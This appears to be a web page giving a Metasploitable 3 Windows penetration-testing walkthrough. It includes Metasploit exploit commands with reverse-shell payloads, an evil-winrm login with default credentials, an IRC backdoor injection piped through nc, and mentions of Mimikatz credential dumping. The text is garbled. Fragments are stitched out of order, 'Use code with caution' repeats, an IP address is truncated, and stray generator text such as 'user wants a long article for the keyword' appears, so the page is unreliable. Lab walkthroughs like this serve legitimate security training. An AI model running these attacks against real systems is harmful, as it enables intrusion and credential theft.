Metasploitable 3 Windows Walkthrough Jun 2026

mkdir metasploitable3 && cd metasploitable3 vagrant init rapid7/metasploitable3-win2k8 vagrant up Use code with caution.

Once the target IP is known, run a comprehensive Nmap scan:

evil-winrm -i 192.168.0.103 -u vagrant -p vagrant

HTTP/HTTPS Web Services (IIS, Jenkins, WebDAV)

msfconsole use exploit/windows/http/manageengine_connection_tester_rce set RHOSTS <target_IP> set LHOST <attacker_IP> set LPORT 4444 run metasploitable 3 windows walkthrough

ManageEngine Desktop Central, a popular endpoint management solution, has known remote code execution vulnerabilities. Metasploit provides modules to exploit these flaws.

The Apache Tomcat administrative interface frequently uses weak or default credentials. Enumeration and Attack: Navigate to https://10.0.2 .

Evil-WinRM shell v3.7 *Evil-WinRM* PS C:\Users\vagrant\Documents> whoami metasploitable3\vagrant

If you are an admin but not SYSTEM, use the incognito module in Meterpreter: user wants a long article for the keyword

Mimikatz can extract directly from LSASS process memory.

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This walkthrough has covered:

# Connect to the IRC service and inject the backdoor command: echo "AB; mkdir /tmp/pwn" | nc <target_IP> 6697 providing a legal

Once the exploit is launched, Metasploit will establish a session on the target system. We can now use the sessions command to list the active sessions and interact with the compromised system.

set RHOSTS set RPORT 8282 set HttpUser tomcat set HttpPassword tomcat set PAYLOAD java/meterpreter/reverse_tcp set LHOST Use code with caution. Execute the exploit: exploit Use code with caution. This drops a Java-based Meterpreter session onto the host.

The fastest way to get started is to use a pre-built Vagrant box. This skips the long build process and launches the VM directly.